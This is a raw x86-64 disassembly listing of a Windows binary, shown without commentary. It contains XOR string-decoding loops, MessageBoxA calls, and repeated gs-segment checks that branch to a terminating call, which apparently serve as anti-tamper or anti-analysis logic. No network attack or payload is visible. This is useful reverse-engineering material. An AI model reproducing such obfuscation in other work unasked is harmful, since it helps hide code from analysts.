imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x368], dil
inc r10
add r8, r12
add r11, 0x11
cmp r8, r9
jb 0x14002ef1d
mov byte [rbp + 0x379], r15b
movdqa xmm0, xmmword [str.n4c]
movdqu xmmword [rbp + 0x758], xmm0
mov dword [rbp + 0x768], 0xe522fa19
mov word [rbp + 0x76c], 0xe4
mov r9, r15
mov r11d, reloc.WS2_32.dll_setsockopt
movabs r8, 0x1beb13a6c9
movabs r10, 0x37d6274d92
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rbx
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0x758], dil
inc r9
add r8, r12
add r11, 0x15
cmp r8, r10
jb 0x14002efc1
mov byte [rbp + 0x76d], r15b
xor r9d, r9d
lea r8, [rbp + 0x368]
lea rdx, [rbp + 0x758]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x31]
cmp rax, rsi
jne 0x14002f0f2
mov rax, qword gs:[0x13]
movabs rcx, 0xfec17db8b17547b5
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x13]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x13]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002f0d2
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002f0d2
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002f0f2
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
mov rax, qword gs:[0x31]
cmp rax, rsi
jne 0x14002f4ec
mov rcx, qword gs:[0x13]
xor edx, edx
mov eax, 0x99c26a5
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x13]
xor edx, edx
mov eax, 0x32c09527
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x13]
xor edx, edx
mov eax, 0x1a369f55
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002f195
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002f195
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002f4ec
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
mov rax, qword gs:[0x31]
cmp rax, r12
jne 0x14002f25f
mov rax, qword gs:[0x13]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x13]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x13]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002f23f
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002f23f
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002f25f
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
movdqa xmm0, xmmword [0x1400d7140]
movdqu xmmword [rbp + 0x380], xmm0
mov word [rbp + 0x390], reloc.WLDAP32.dll_Ordinal_35
mov rdi, r15
movabs rbx, 0x1545644e4
mov qword [rsp + 0x20], rbx
mov r9d, reloc.WS2_32.dll_recvfrom
mov r8, rdi
mov dl, byte [rbp + rdi + 0x380]
lea rcx, [rbp + 0x380]
call fcn.14002f61c
xor al, dil
mov byte [rbp + rdi + 0x380], al
inc rdi
cmp rdi, 0x11
jb 0x14002f285
mov byte [rbp + 0x391], r15b
movdqa xmm0, xmmword [0x1400d70f0]
movdqu xmmword [rbp + 0xcd8], xmm0
movdqa xmm1, xmmword [0x1400d6ee0]
movdqu xmmword [rbp + 0xce8], xmm1
movdqa xmm0, xmmword [0x1400d6eb0]
movdqu xmmword [rbp + 0xcf8], xmm0
mov dword [rbp + 0xd08], 0xf3974114
mov dword [rbp + 0xd0c], 0xd7318e8f
mov dword [rbp + 0xd10], 0x474764e4
mov word [rbp + 0xd14], __WSAFDIsSet
mov rdi, r15
mov qword [rsp + 0x20], rbx
mov r9d, 0x3d
mov r8, rdi
mov dl, byte [rbp + rdi + 0xcd8]
lea rcx, [rbp + 0xcd8]
call fcn.14002f690
xor al, dil
mov byte [rbp + rdi + 0xcd8], al
inc rdi
cmp rdi, 0x3d
jb 0x14002f31a
mov byte [rbp + 0xd15], r15b
xor r9d, r9d
lea r8, [rbp + 0x380]
lea rdx, [rbp + 0xcd8]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x31]
cmp rax, r12
jne 0x14002f42d
mov rcx, qword gs:[0x13]
xor edx, edx
mov eax, 0x99c26a5
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x13]
xor edx, edx
mov eax, 0x32c09527
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x13]
xor edx, edx
mov eax, 0x1a369f55
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002f40d
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002f40d
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002f42d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
mov rax, qword gs:[0x31]
cmp rax, r12
jne 0x14002f4ec
mov rcx, qword gs:[0x13]
xor edx, edx
mov eax, 0x99c26a5
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x13]
xor edx, edx
mov eax, 0x32c09527
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x13]
xor edx, edx
mov eax, 0x1a369f55
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002f4cc
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002f4cc
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002f4ec
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
mov ecx, 1
call fcn.140095818
int3